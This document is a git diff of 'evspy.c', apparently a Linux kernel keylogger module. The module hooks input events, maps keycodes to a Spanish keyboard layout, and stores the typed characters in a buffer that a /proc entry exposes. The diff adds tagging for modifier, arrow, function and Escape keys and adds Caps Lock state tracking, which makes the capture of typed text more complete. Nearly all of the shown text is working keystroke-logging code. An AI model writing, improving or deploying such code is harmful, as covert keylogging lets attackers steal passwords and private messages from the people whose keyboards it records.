diff options
Diffstat (limited to 'evspy/evspy.c')
-rw-r--r-- | evspy/evspy.c | 130 |
1 files changed, 90 insertions, 40 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c index 0ef2456..819a914 100644 --- a/evspy/evspy.c +++ b/evspy/evspy.c @@ -23,7 +23,6 @@ * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic */ -#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt #include <linux/slab.h> #include <linux/module.h> #include <linux/input.h> @@ -36,46 +35,14 @@ #include <linux/string.h> #include <linux/cred.h> #include <linux/sched.h> +#include "evspy.h" -#define PROCNAME "driver/evspy" -#define BUFSIZE PAGE_SIZE -#define MIN(x, y) (x) < (y) ? (x) : (y) - -#define incp(p) \ -({ \ - if (p == &buffer[BUFSIZE-1]) \ - p = buffer; \ - else \ - p++; \ - p; \ -}) static char *buffer; static char *rdp; static char *wrp; - -static char map_es[] = { - '.', '.', '1', '2', '3', //0 // 1:ESC - '4', '5', '6', '7', '8', //5 - '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) - '\t', 'q', 'w', 'e', 'r', //15 - 't', 'y', 'u', 'i', 'o', //20 - 'p', '`', '+', '\n', '.', //25 // 29:LCTRL - 'a', 's', 'd', 'f', 'g', //30 - 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII) - '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII) - 'x', 'c', 'v', 'b', 'n', //45 - 'm', ',', '.', '-', '.', //50 // 54:RMAYUS - '*', '.', ' ', '.', '.', //55 // 56:WIN 58:BLKMAYUS 59-68:F1-F10 - '.', '.', '.', '.', '.', //60 - '.', '.', '.', '.', '.', //65 - '.', '7', '8', '9', '-', //70 - '4', '5', '6', '+', '1', //75 - '2', '3', '.', '.', '.', //80 - '.', '<', '.', '.', '.', //85 - '.', '.', '.', '.', '.', //90 - '.', '\n', '.', '/', '.', //95 // 97:RCTRL -}; +static char tag[] = "<+XXX>"; +static unsigned int blkmayus_state = FREE; int evspy_read_proc(char *page, char **start, off_t offset, int count, int *eof, void *data) @@ -118,15 +85,98 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count, return retval; } +void special_char(unsigned int code, unsigned int value) +{ + int known = 1; + int i; + + // Elimina eventos de "despulsado" para teclas no deseadas + switch(code) { + case RMAYUS: + case LMAYUS: + case ALT: + case LCTRL: + case RCTRL: + case ALTGR: + break; + default: + if (value == FREE) + return; + } + + switch(code) { + case RMAYUS: + case LMAYUS: + strncpy(tag+2, "MAY", 3); + break; + case ALT: + strncpy(tag+2, "ALT", 3); + break; + case ALTGR: + strncpy(tag+2, "AGR", 3); + break; + case LCTRL: + case RCTRL: + strncpy(tag+2, "CTR", 3); + break; + case TAB: + strncpy(tag+2, "TAB", 3); + break; + case ESC: + strncpy(tag+2, "ESC", 3); + break; + case UP_AR: + strncpy(tag+2, "A^^", 3); + break; + case DOWN_AR: + strncpy(tag+2, "Avv", 3); + break; + case LEFT_AR: + strncpy(tag+2, "A<<", 3); + break; + case RIGHT_AR: + strncpy(tag+2, "A>>", 3); + break; + default: + known = 0; + } + + if (!known && isfX(code)) { + strncpy(tag+2, "F??", 3); + } else if (!known) { +// strncpy(tag+2, "UNK", 3); + return; + } + + if (value == PRESS) + tag[1] = '+'; + else if (value == FREE) + tag[1] = '-'; + + for (i = 0; i < sizeof(tag) - 1; i++) + ins(tag[i]); +} + static void evspy_event(struct input_handle *handle, unsigned int type, unsigned int code, int value) { - if (type != 1 || value != 1 || code >= 100) + if (type == EV_BLKMAYUS) { + // A veces la mierda esta manda dos eventos en vez de uno al pulsar BLKMAYUS + if (value != blkmayus_state) + special_char(LMAYUS, value); + if (value == PRESS) + blkmayus_state = PRESS; + else if (value == FREE) + blkmayus_state = FREE; return; + } else if (type != 1 || value == HOLD || unlikely(code >= sizeof(map_es))) { + return; + } - *wrp = map_es[code]; - if (incp(wrp) == rdp) - incp(rdp); + if (map_es[code] == '.' && likely(code != DOT)) + special_char(code, value); + else if (value == PRESS) + ins(map_es[code]); } static int evspy_connect(struct input_handler *handler, struct input_dev *dev, |